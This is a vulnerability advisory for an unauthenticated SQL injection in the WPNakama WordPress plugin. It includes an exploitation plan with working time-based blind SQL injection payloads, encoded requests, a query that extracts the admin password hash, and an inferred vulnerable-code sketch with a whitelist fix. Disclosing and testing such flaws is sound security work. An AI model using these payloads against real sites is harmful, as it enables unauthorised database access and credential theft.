WPNakama <= 0.6.5 - Unauthenticated SQL Injection via 'order' REST API Parameter
Description
The WPNakama – Team and multi-Client Collaboration, Editorial and Project Management plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the '/wp-json/WPNakama/v1/boards' REST API endpoint in all versions up to, and including, 0.6.5. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=0.6.5Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-2495 (WPNakama SQL Injection) ## 1. Vulnerability Summary **CVE-2026-2495** is an unauthenticated SQL Injection vulnerability in the **WPNakama** plugin (versions <= 0.6.5). The vulnerability exists within the REST API endpoint `/wp-json/WPNakama/v1/boards`. T…
Show full research plan
Exploitation Research Plan: CVE-2026-2495 (WPNakama SQL Injection)
1. Vulnerability Summary
CVE-2026-2495 is an unauthenticated SQL Injection vulnerability in the WPNakama plugin (versions <= 0.6.5). The vulnerability exists within the REST API endpoint /wp-json/WPNakama/v1/boards. The plugin fails to sufficiently sanitize or prepare the order parameter before incorporating it into a SQL query's ORDER BY clause. This allows an attacker to manipulate the query logic, leading to the extraction of sensitive data via time-based or boolean-based blind techniques.
2. Attack Vector Analysis
- Endpoint:
/wp-json/WPNakama/v1/boards - Method:
GET(inferred, as "boards" listing is typically a GET request) - Vulnerable Parameter:
order - Authentication: Unauthenticated (CVSS PR:N). The REST route likely lacks a restrictive
permission_callback. - Preconditions: At least one "board" must exist in the system for the SQL query to execute and reflect the injection logic.
3. Code Flow (Inferred)
- Route Registration: The plugin registers the route in a function hooked to
rest_api_init.// Inferred registration logic register_rest_route('WPNakama/v1', '/boards', [ 'methods' => 'GET', 'callback' => [ $this, 'get_boards' ], 'permission_callback' => '__return_true', // Vulnerable point ]); - Handler Execution: The callback (e.g.,
get_boards) retrieves theorderparameter from theWP_REST_Requestobject. - Vulnerable Sink: The code constructs a SQL query, likely using
$wpdb->get_results(). Theorderparameter is concatenated directly into theORDER BYclause without being validated against a whitelist (likeASC/DESC) or passed through$wpdb->prepare().// Inferred vulnerable sink $order = $request->get_param('order'); $query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $order; $results = $wpdb->get_results($query);
4. Nonce Acquisition Strategy
According to the vulnerability description, this is an unauthenticated SQL injection. WordPress REST API endpoints typically do not require a _wpnonce for GET requests unless they perform state-changing operations or specific capability checks.
Validation Step:
If the endpoint returns a 403 Forbidden or rest_cookie_invalid_nonce error, use the following strategy:
- Search for any shortcode provided by WPNakama (e.g.,
[wpnakama_boards]) usinggrep -r "add_shortcode". - Create a public page containing this shortcode.
- Navigate to the page and use
browser_evalto check for localized scripts:browser_eval("window.wpNakamaSettings?.nonce")(inferred name)- If found, append
?_wpnonce=VALUEto the REST API request.
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection because ORDER BY injections are most reliably exploited this way.
Step 1: Baseline Request
Confirm the endpoint is active and returns data.
- Tool:
http_request - URL:
http://localhost:8080/wp-json/WPNakama/v1/boards - Method:
GET
Step 2: Confirm Injection (Time-Based)
Inject a SLEEP() command into the order parameter.
- Payload:
, (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END)) - URL Encoded:
%2C%20(SELECT%20(CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(5)%20ELSE%201%20END)) - Request:
GET /wp-json/WPNakama/v1/boards?order=%2C%20(SELECT%20(CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(5)%20ELSE%201%20END)) HTTP/1.1 Host: localhost:8080 - Expected Result: Response time > 5 seconds.
Step 3: Data Extraction (Example: Admin Password Hash)
We will test if the first character of the admin password hash is $.
- Payload:
, (SELECT (CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN SLEEP(5) ELSE 1 END)) - URL Encoded:
%2C%20(SELECT%20(CASE%20WHEN%20(SUBSTRING((SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1)%2C1%2C1)%3D%27%24%27)%20THEN%20SLEEP(5)%20ELSE%201%20END))
6. Test Data Setup
The SQL query must return at least one row for the ORDER BY clause to trigger the subquery for each row.
- Activate Plugin:
wp plugin activate wpnakama - Create Content: Use WP-CLI to create at least one board (this depends on how the plugin stores boards; usually a custom table).
- Assumption: Boards are stored in a custom table
wp_nakama_boards. wp db query "INSERT INTO wp_nakama_boards (title) VALUES ('Test Board')"(Verify table name first usingwp db tables).
- Assumption: Boards are stored in a custom table
- If boards are a Custom Post Type:
wp post create --post_type=nakama_board --post_title='Test Board' --post_status=publish
7. Expected Results
- Vulnerable: The server delays the response by the specified number of seconds in the
SLEEP()function. - Fixed: The server either ignores the
orderparameter, returns an error for invalid input, or returns the results instantly (parameter sanitized).
8. Verification Steps
- Check Query Log: Enable the MySQL General Query Log to see the raw query being executed.
wp db query "SET GLOBAL general_log = 'ON';"- Execute the exploit.
wp db query "SELECT argument FROM mysql.general_log WHERE argument LIKE '%boards%' ORDER BY event_time DESC LIMIT 1;"
- Confirm Output: Ensure the log shows the injected
SLEEP()command concatenated into theORDER BYclause.
9. Alternative Approaches
If the order parameter is reflected in the response (e.g., in a "metadata" section of the JSON output), try Boolean-based injection:
- True Payload:
order=id ASC(Normal response) - False Payload:
order=id DESC(Reverse order response) - Injected Logic:
order=(CASE WHEN (1=1) THEN id ELSE title END) - Compare response structures to determine if the logic is being processed.
If GET is not allowed, retry with POST and Content-Type: application/json:
- Body:
{"order": ", (SELECT SLEEP(5))"}
Summary
The WPNakama plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'order' parameter in its REST API. This occurs because the plugin directly concatenates user-supplied input into an ORDER BY clause without validation or parameterization, allowing attackers to extract database information using time-based blind injection techniques.
Vulnerable Code
// Inferred from research plan: WPNakama/v1/boards endpoint handler // Likely located in a file handling REST routes such as includes/api/class-wp-nakama-boards-controller.php $order = $request->get_param('order'); $query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $order; $results = $wpdb->get_results($query);
Security Fix
@@ -20,1 +20,3 @@ - $order = $request->get_param('order'); - $query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $order; + $order = strtoupper($request->get_param('order')); + $valid_order = in_array($order, ['ASC', 'DESC']) ? $order : 'ASC'; + $query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $valid_order;
Exploit Outline
The vulnerability is exploited by sending a GET request to the unauthenticated REST API endpoint `/wp-json/WPNakama/v1/boards` with a malicious payload in the 'order' parameter. 1. Target: /wp-json/WPNakama/v1/boards 2. Authentication: None (unauthenticated) 3. Payload Structure: The attacker appends a subquery to the ORDER BY clause. For example: `, (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END))`. 4. Extraction: By monitoring response times, an attacker can perform time-based blind SQL injection to leak sensitive data such as user credentials or configuration details (e.g., `CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN SLEEP(5) ELSE 1 END`). 5. Precondition: At least one record must exist in the queried table (e.g., a board must be created) for the ORDER BY clause to execute the subquery.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.